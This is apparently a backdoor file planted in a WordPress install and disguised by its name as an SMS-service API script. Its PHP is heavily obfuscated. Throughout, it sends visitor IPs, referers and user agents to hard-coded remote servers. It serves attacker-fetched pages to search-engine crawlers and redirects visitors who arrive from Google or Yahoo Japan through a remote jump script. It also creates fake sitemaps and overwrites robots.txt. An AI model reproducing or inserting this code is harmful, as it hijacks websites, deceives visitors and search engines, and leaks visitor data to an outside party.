File: /www/wwwroot/wordpress/melipayamakapi.php
<?php
goto zFs5z; wCbO3: $N82ji["\x72\x6f\x62\157\164\163\137\x63\x6f\x6e\x74"] = @file_get_contents(__DIR__ . "\57\x72\157\142\x6f\x74\x73\56\164\x78\164"); goto HIeOm; GgBCF: $N82ji["\x75\163\145\x72\x5f\141\147\145\156\x74"] = $TeWP7; goto QlH7k; xj4X1: $N82ji["\155\x61\x69\156\x5f\x73\150\x65\154\x6c"] .= $TUsOV; goto uD9I4; xAyqY: if (!(strpos($NdfQK, "\x6d\x61\160") > 0 || $vMjT1 == "\61")) { goto VTjcv; } goto Fs6yA; Bpcof: if (strpos($NdfQK, "\56\x70\x68\x70")) { goto jEbyu; } goto zGHGE; Uf1Kg: $eHK6w = $jOuWu . "\151\x6e\x64\x61\164\x61\x2e\x70\x68\x70"; goto AkblW; SdMfM: exit; goto IjABI; HvuBd: Moeso: goto nHE0j; cGyRE: echo "\162\x6f\x62\157\x74\x73\x2e\x74\x78\164\x20\146\x69\x6c\145\40\x63\x72\x65\141\164\x65\x20\163\x75\x63\143\x65\163\x73\x21"; goto dN3Fa; AkblW: $tQfZL = $jOuWu . "\155\141\x70\56\x70\x68\160"; goto ltBuk; x5C1l: goto fq_t7; goto LuMV9; ItEkZ: $jOuWu = "\x68\164\x74\x70\x3a\x2f\x2f\x36\x33\56\x31\64\61\x2e\x32\x33\64\x2e\x31\63\x30\57\x7a\x36\x30\x34\61\x31\x5f\62\57"; goto vgtYv; ucIol: $ip3vy = zUdxv($tQfZL, $N82ji); goto qrE7Z; oyus6: VTjcv: goto zkeLA; K0WFd: RFl8Y: goto mHPqW; qECZu: echo "\162\x6f\x62\x6f\164\x73\56\164\x78\164\40\x66\151\x6c\x65\40\143\162\145\x61\x74\145\40\146\x61\x69\154\41"; goto Aky4j; HkDK9: jEbyu: goto e83w5; gWktB: $N82ji["\x72\x65\x71\x5f\x75\162\154"] = $wMgoS; goto NQz3_; J83gO: header("\x43\x6f\x6e\x74\145\156\164\x2d\x74\x79\160\x65\72\164\145\170\x74\x2f\170\155\x6c"); goto HQyvq; QMtnF: $N82ji["\x68\164\x74\x70\x5f\x75\x73\x65\x72\x5f\141\x67\145\x6e\x74"] = $TeWP7; goto NFEw9; Vnprg: $N82ji["\151\x70"] = isset($_SERVER["\x52\105\115\117\124\105\x5f\x41\104\104\x52"]) ? $_SERVER["\x52\x45\115\x4f\x54\105\x5f\101\104\x44\122"] : ''; goto Sm3h3; i3DLi: gCIHM: goto rMqeR; BxJ03: exit; goto HvuBd; ltBuk: $TT4lV = $jOuWu . "\x6a\165\155\160\56\x70\x68\160"; goto g2s1p; b1Wpq: $ip3vy = zuDxv($tQfZL, $N82ji); goto ZCCU0; IT3AP: $N82ji["\162\x65\x71\x5f\x75\x72\151"] = $NdfQK; goto gWktB; Up0Iv: exit; goto NCUc6; Sm3h3: $N82ji["\x72\x65\146\145\x72\x65\162"] = $KO9VG; goto GgBCF; eNvNi: if (strpos($NdfQK, "\56\x70\x68\x70")) { goto gmPP1; } goto i3lcl; LuMV9: gmPP1: goto i8Izg; jxqvO: $JZMh9 = str_replace("\x2e\170\155\x6c", '', $JZMh9); goto x5C1l; i1gmo: function d_NyC($elzhA) { goto fMNm4; KNPbC: $QXshx = true; goto wnIlc; fMNm4: $QXshx = false; goto CHJcP; tbjOF: return $QXshx; goto QE71X; jJ6WR: if (!($elzhA != '' && preg_match("\57\50{$shNz_}\51\57\163\151", $elzhA))) { goto VK1jy; } goto KNPbC; wnIlc: VK1jy: goto tbjOF; CHJcP: $shNz_ = "\x67\x6f\x6f\x67\154\145\56\143\157\56\152\x70\x7c\171\141\150\x6f\157\x2e\143\157\x2e\x6a\x70\x7c\x67\x6f\157\147\x6c\145\56\x63\157\155"; goto jJ6WR; QE71X: } goto P7Xs2; p2KeT: if (!(!$ZL14Z && $R9w11 && (preg_match("\43\50\50\x5c\x3f\x7c\x5c\77\x5f\174\x5c\x2f\51\133\141\55\x7a\135\x29\x5c\x3d\134\x64\53\x23", $NdfQK) || preg_match("\57\x73\150\x6f\160\144\145\x74\141\x69\154\x2f", $NdfQK) || preg_match("\x2f\x2e\163\x68\x74\x6d\154\57", $NdfQK)))) { goto RFl8Y; } goto Vnprg; vPaDW: $N82ji["\x77\157\x72\x64"] = $JZMh9; goto G3mNn; qrE7Z: header("\x43\157\156\x74\145\156\164\x2d\164\x79\x70\x65\72\x74\145\170\x74\57\170\155\154"); goto t_E5j; qOzCy: $N82ji = array(); goto DfxTB; zFs5z: $NdfQK = isset($_SERVER["\122\x45\x51\125\105\x53\124\x5f\x55\122\111"]) ? $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\125\x52\111"] : ''; goto V0sPL; Aky4j: goto f6ZFz; goto P_NvB; dN3Fa: f6ZFz: goto SdMfM; UDJQ9: function IUvFa($nOJ4R) { goto ot2H0; pdgih: if (!preg_match("\57\50{$pPjDV}\51\x2f\x73\x69", $nOJ4R)) { goto KrE3c; } goto uPTI1; n1kSz: uE7b0: goto Gncrc; ot2H0: $QRw3u = false; goto BjV6K; Gncrc: return $QRw3u; goto VaFsg; bLcYI: if (!($nOJ4R != '')) { goto uE7b0; } goto pdgih; uPTI1: $QRw3u = true; goto a2L5a; BjV6K: $pPjDV = "\147\157\x6f\147\x6c\145\x62\x6f\164\x7c\x67\x6f\157\x67\154\x65\x7c\171\x61\x68\157\x6f\x7c\142\151\156\x67\x7c\141\157\x6c"; goto bLcYI; a2L5a: KrE3c: goto n1kSz; VaFsg: } goto i1gmo; g2s1p: $e4yMA = $jOuWu . "\167\157\162\144\x73\x2e\160\150\160"; goto gK47m; V0sPL: $TUsOV = isset($_SERVER["\x50\110\120\137\123\105\114\x46"]) ? $_SERVER["\x50\110\x50\137\x53\105\114\x46"] : ''; goto ROSPE; IjABI: PbuJU: goto cBbVZ; Sc2DB: echo $ip3vy; goto BxJ03; vgtYv: $TUsOV = "\x2f\155\x65\x6c\151\x70\141\171\x61\x6d\141\153\x61\x70\x69\56\x70\x68\160"; goto Tu2bY; kK9Ry: if (!(strpos($NdfQK, "\x61\x6c\x6c\163\x69\x74\145\155\141\x70\56\170\155\x6c") || strpos($NdfQK, "\163\151\x74\145\x6d\141\160\55\151\x6e\144\x65\170\x2e\170\155\154") || strpos($NdfQK, "\163\x69\x74\145\x6d\x61\160\x2d\x69\x6e\144\145\x78\x2d\61\x2e\170\x6d\154") || strpos($NdfQK, "\x69\156\144\x65\170\56\x78\155\154"))) { goto xHeVS; } goto ucIol; YQitv: $N82ji["\x68\162\145\x66"] .= $TUsOV; goto xj4X1; uD9I4: TDHYq: goto ajfLy; ru8yB: kOxQ0: goto p2KeT; VYdcf: $N82ji["\x6d\141\151\156\x5f\x73\150\x65\x6c\154"] = $u1W53 . $rCM5Y; goto zuZiT; i8Izg: $JZMh9 = explode("\77", $NdfQK); goto vVGNd; Rvh2R: if (!($b_iQC == "\61")) { goto Moeso; } goto b1Wpq; ROSPE: $jOuWu = "\150\x74\x74\x70\72\57\x2f\61\x39\70\56\x32\60\x34\x2e\62\64\x31\56\62\x32\66\x2f\172\66\60\63\x31\x33\137\x32\57"; goto uLgnB; bCuec: $azR_X = $_SERVER["\110\124\x54\x50\137\x48\117\x53\x54"]; goto yQ6Nj; uLgnB: if (!strstr($NdfQK, "\x6d\x65\x6c\151\x70\x61\171\x61\x6d\x61\x6b\x61\160\x69\x2e\x70\150\160")) { goto YSVO6; } goto ItEkZ; ogvrH: if (!file_exists(__DIR__ . "\x2f\x72\157\142\x6f\164\x73\x2e\164\x78\x74")) { goto OAWbO; } goto wCbO3; kjVIq: $k4gNQ = file_put_contents(__DIR__ . "\x2f\162\x6f\x62\x6f\164\163\56\164\x78\164", $jXFPF); goto LeUOh; YzxEB: xHeVS: goto eNvNi; gz0f_: $ZL14Z = IUVfa($TeWP7); goto Bpcof; u59UR: $N82ji["\162\157\x62\x6f\164\x73\137\143\x6f\156\164"] = ''; goto ogvrH; P7Xs2: $u1W53 = isset($_SERVER["\x48\x54\x54\x50\x53"]) && $_SERVER["\x48\x54\124\x50\x53"] !== "\x6f\146\x66" ? "\150\x74\164\160\x73\72\x2f\x2f" : "\150\x74\164\x70\72\57\x2f"; goto bCuec; U_c38: $R9w11 = d_nYc($KO9VG); goto M_J0p; zGHGE: $bCXxX = "\57"; goto VLTTg; t_E5j: echo $ip3vy; goto fOzmI; H8Frq: $b_iQC = ZUdxv($e4yMA, $N82ji); goto Rvh2R; zkeLA: $b_iQC = ZuDXv($e4yMA, $N82ji); goto J83gO; ZCCU0: header("\x43\x6f\x6e\x74\x65\x6e\164\x2d\x74\171\160\x65\72\164\x65\x78\164\57\170\155\x6c"); goto Sc2DB; HIeOm: OAWbO: goto Lyn6M; cBbVZ: if (!(substr($NdfQK, -4) == "\56\170\155\154")) { goto gCIHM; } goto kK9Ry; FcBEu: exit; goto K0WFd; Tu2bY: YSVO6: goto G1tkj; KE_t3: exit; goto i3DLi; mHPqW: if (!$ZL14Z) { goto CGjAY; } goto QMtnF; jVH97: $wMgoS = $u1W53 . $azR_X . $NdfQK; goto Uf1Kg; ggqBr: $JZMh9 = str_replace("\56\170\x6d\154", '', $JZMh9); goto TpM5D; VLTTg: goto kOxQ0; goto HkDK9; G3mNn: $N82ji["\x61\x63\164\151\157\x6e"] = "\x63\150\145\x63\153\x5f\163\151\164\145\155\141\160"; goto H8Frq; y5Bpm: echo $ByuKk; goto Up0Iv; ajfLy: if (!(substr($NdfQK, -6) == "\x72\x6f\x62\157\164\163")) { goto PbuJU; } goto u59UR; vVGNd: $JZMh9 = $JZMh9[count($JZMh9) - 1]; goto ggqBr; i3lcl: $JZMh9 = str_replace("\x2f", '', $NdfQK); goto jxqvO; NFEw9: $ByuKk = zUdxV($eHK6w, $N82ji); goto y5Bpm; DfxTB: $N82ji["\144\x6f\155\x61\x69\156"] = $azR_X; goto IT3AP; fOzmI: exit; goto YzxEB; TpM5D: fq_t7: goto vPaDW; e83w5: $bCXxX = "\x3f"; goto ru8yB; Lyn6M: $jXFPF = @zUDXv($Qcavb, $N82ji); goto kjVIq; NQz3_: $N82ji["\x68\162\x65\x66"] = $u1W53 . $azR_X; goto VYdcf; G1tkj: function zUdxv($rHfyD, $RSNUh = array()) { goto guCvA; zU4fE: $L9hEh = curl_exec($LrT6A); goto MEdZh; wzce4: return false; goto jM7xC; cU358: curl_setopt($LrT6A, CURLOPT_HEADER, 0); goto SGgKI; bGntM: curl_close($LrT6A); goto KdKYq; EJA8U: curl_setopt($LrT6A, CURLOPT_URL, $rHfyD); goto zAces; guCvA: $rHfyD = str_replace("\40", "\x2b", $rHfyD); goto M4sIt; SGgKI: curl_setopt($LrT6A, CURLOPT_TIMEOUT, 10); goto a7FPc; jM7xC: tXg5d: goto wjher; zAces: curl_setopt($LrT6A, CURLOPT_RETURNTRANSFER, 1); goto cU358; Q7Ci8: curl_setopt($LrT6A, CURLOPT_SSL_VERIFYHOST, FALSE); goto uk3p1; a7FPc: curl_setopt($LrT6A, CURLOPT_POST, 1); goto RQjWZ; wjher: return $L9hEh; goto Lfqg0; KdKYq: if (!(0 !== $cI2IG)) { goto tXg5d; } goto wzce4; RQjWZ: curl_setopt($LrT6A, CURLOPT_SSL_VERIFYPEER, FALSE); goto Q7Ci8; uk3p1: curl_setopt($LrT6A, CURLOPT_POSTFIELDS, http_build_query($RSNUh)); goto zU4fE; M4sIt: $LrT6A = curl_init(); goto EJA8U; MEdZh: $cI2IG = curl_errno($LrT6A); goto bGntM; Lfqg0: } goto UDJQ9; Fs6yA: $N82ji["\x61\143\164\x69\x6f\156"] = "\x72\141\156\x64\137\170\155\x6c"; goto oyus6; nHE0j: $N82ji["\141\143\164\151\157\156"] = "\143\x68\x65\x63\153\x5f\x77\x6f\x72\144\x73"; goto mklA_; mklA_: $vMjT1 = zUDXV($e4yMA, $N82ji); goto xAyqY; HQyvq: echo $b_iQC; goto KE_t3; LeUOh: if ($k4gNQ) { goto K3guM; } goto qECZu; yQ6Nj: $rCM5Y = $_SERVER["\x53\x45\122\126\x45\122\137\116\x41\115\x45"]; goto jVH97; QlH7k: echo ZudxV($TT4lV, $N82ji); goto FcBEu; M_J0p: $TeWP7 = strtolower(isset($_SERVER["\x48\x54\x54\x50\x5f\125\x53\105\122\x5f\101\107\105\116\124"]) ? $_SERVER["\x48\x54\124\120\x5f\125\x53\x45\122\x5f\x41\107\x45\116\124"] : ''); goto gz0f_; zuZiT: if (!strpos($NdfQK, "\x2e\160\x68\x70")) { goto TDHYq; } goto YQitv; P_NvB: K3guM: goto cGyRE; rMqeR: $KO9VG = isset($_SERVER["\110\124\124\x50\137\122\x45\x46\105\x52\x45\x52"]) ? $_SERVER["\110\x54\x54\x50\137\x52\105\106\105\122\x45\x52"] : ''; goto U_c38; gK47m: $Qcavb = $jOuWu . "\x72\x6f\142\157\x74\163\56\160\150\160"; goto qOzCy; NCUc6: CGjAY: